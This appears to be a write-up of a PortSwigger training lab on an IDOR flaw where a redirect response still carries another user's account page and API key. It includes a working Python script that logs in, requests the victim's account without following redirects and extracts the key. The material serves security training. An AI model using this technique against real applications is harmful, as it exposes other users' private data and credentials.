LearnAccess Control › Lab: User ID controlled by request parameter wit…

Lab: User ID controlled by request parameter with data leakage in redirect

PortSwigger Apprentice Access Control

Original lab: Lab: User ID controlled by request parameter with data leakage in redirect on PortSwigger ↗

Redirecting an unauthorized request away from sensitive data looks like an access control fix on the surface — the browser never renders the page it wasn't supposed to see. But a redirect is just an HTTP response with a 3xx status and a Location header; nothing stops the server from also writing a response *body* to that same response, and nothing stops an HTTP client from reading it before following the redirect.

The Target

The account page pattern is identical to the earlier IDOR labs — /my-account?id=<username> — with one behavioral difference: requesting another user's id now returns a redirect back to the homepage instead of rendering the page directly. On its own, that looks like the access control gap from Lab 5 has been closed.

The Investigation

The fix, if it is one, only matters if the redirect response is empty. We configured our HTTP client to stop following redirects automatically so we could inspect exactly what the server sent back before any redirect was acted on:

follow_redirects=False, read 302 body    -- Data leaks in redirect body
-- Key: httpx Client(follow_redirects=False) to read body of 302
with _client(allow_redirects=False) as client:

With redirects no longer followed transparently, the raw response to the IDOR request became readable — including whatever body accompanied that 3xx status.

The Exploit

Logged in as wiener (manually following just the login redirect, since we needed the session cookie without losing visibility into the next response), we requested carlos's account:

resp = client.get(f"{base}/my-account", params={"id": "carlos"})

The response came back as a redirect to the homepage, exactly as expected — but the body attached to that redirect still contained the full account page markup, API key included. We extracted it with the same regex used in the earlier IDOR labs, then submitted it through a second client (one that does follow redirects normally, since the solution endpoint doesn't need the same inspection). The lab solved on submission.

Comparing Notes: PortSwigger's Official Solution

PortSwigger's solution is the same observation: change the id parameter to carlos in Burp Repeater, notice the response is a redirect to the home page, but that the response still has a body containing carlos's API key, then submit it. The core insight — that the redirect's body was never actually emptied — is identical to what we found.

The mechanical difference is how each of us kept that body from being discarded. Burp Repeater shows the raw response regardless of status code, so a human never loses sight of the body just because it's attached to a 3xx. Our httpx client would have followed the redirect and thrown the intermediate response away by default, which is why disabling follow_redirects was the specific step that mattered here — without it, the leaking body would have been invisible to the script even though the vulnerability was still present.

What This Teaches Us

Whoever patched this endpoint fixed the symptom a browser shows a user — no page renders, so it *looks* protected — without fixing the underlying cause, which is that the server still builds the full response for an unauthorized request before deciding to redirect. Real access control has to happen before any sensitive data is written to the response, not after, and it has to be verified by inspecting the raw bytes on the wire rather than trusting that "redirects away" means "data withheld."


The automated solution

Here's the full Python script that solves this lab against your own instance — the same technique from the writeup, packaged to run. View on GitHub.

Show the solution script (Python)
#!/usr/bin/env python3
"""
User ID controlled by request parameter with data leakage in redirect
PortSwigger Web Security Academy -- Access Control

Companion script for the writeup: 07-user-id-controlled-data-leakage-in-redirect.md

What this does:
    Uses a client with follow_redirects=False so the raw 3xx response to
    /my-account?id=carlos can be inspected instead of transparently
    followed. The redirect's Location points back at the homepage, but the
    response body attached to that same 3xx still contains the full account
    page markup -- API key included. Extracts the key from that redirect
    body and submits it with a second, normal client.

Usage:
    python 07-user-id-controlled-data-leakage-in-redirect.py <lab-url>

Requirements:
    pip install httpx
"""

import re
import sys
import httpx


def get_csrf(html: str) -> str:
    m = re.search(r'name="csrf"\s+value="([^"]+)"', html)
    return m.group(1) if m else ""


def solve(lab_url: str) -> None:
    api_key = None

    # Client that does NOT follow redirects, so the 3xx response body is readable.
    with httpx.Client(follow_redirects=False, timeout=15) as client:
        login_page = client.get(f"{lab_url}/login")
        csrf = get_csrf(login_page.text)
        resp = client.post(f"{lab_url}/login", data={"csrf": csrf, "username": "wiener", "password": "peter"})
        # Follow the login redirect manually to pick up the session cookie
        # without losing visibility into the account page's own redirect.
        if resp.status_code in (301, 302, 303):
            client.get(f"{lab_url}{resp.headers.get('location', '/my-account')}")

        resp = client.get(f"{lab_url}/my-account", params={"id": "carlos"})
        print(f"[*] /my-account?id=carlos: {resp.status_code}")
        print(f"[*] Body length: {len(resp.text)}")

        key_match = re.search(r'Your API key is:\s*([a-zA-Z0-9]+)', resp.text)
        if not key_match:
            key_match = re.search(r'API [Kk]ey[^<]*?([a-zA-Z0-9]{20,})', resp.text)

        if key_match:
            api_key = key_match.group(1)
            print(f"[+] Carlos API key (from redirect body): {api_key}")

    if not api_key:
        print("[-] Could not extract API key from the redirect body.")
        return

    # Normal client for the submission -- it doesn't need the same inspection.
    with httpx.Client(follow_redirects=True, timeout=15) as client:
        login_page = client.get(f"{lab_url}/login")
        csrf = get_csrf(login_page.text)
        client.post(f"{lab_url}/login", data={"csrf": csrf, "username": "wiener", "password": "peter"})

        resp = client.post(f"{lab_url}/submitSolution", data={"answer": api_key})
        print(f"[*] Submitted: {resp.status_code}")

        check = client.get(lab_url)
        if "Congratulations" in check.text:
            print("[+] Lab solved -- API key leaked in the redirect body.")
        else:
            print("[-] Not solved yet -- confirm the extracted API key.")


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} <lab-url>")
        sys.exit(1)
    solve(sys.argv[1].rstrip("/"))

Related labs

Want to go from zero to junior pentester?

These walkthroughs are a taste. The full path — live, hands-on, in a small cohort — starts with a free webinar.

Join the Free Live Webinar →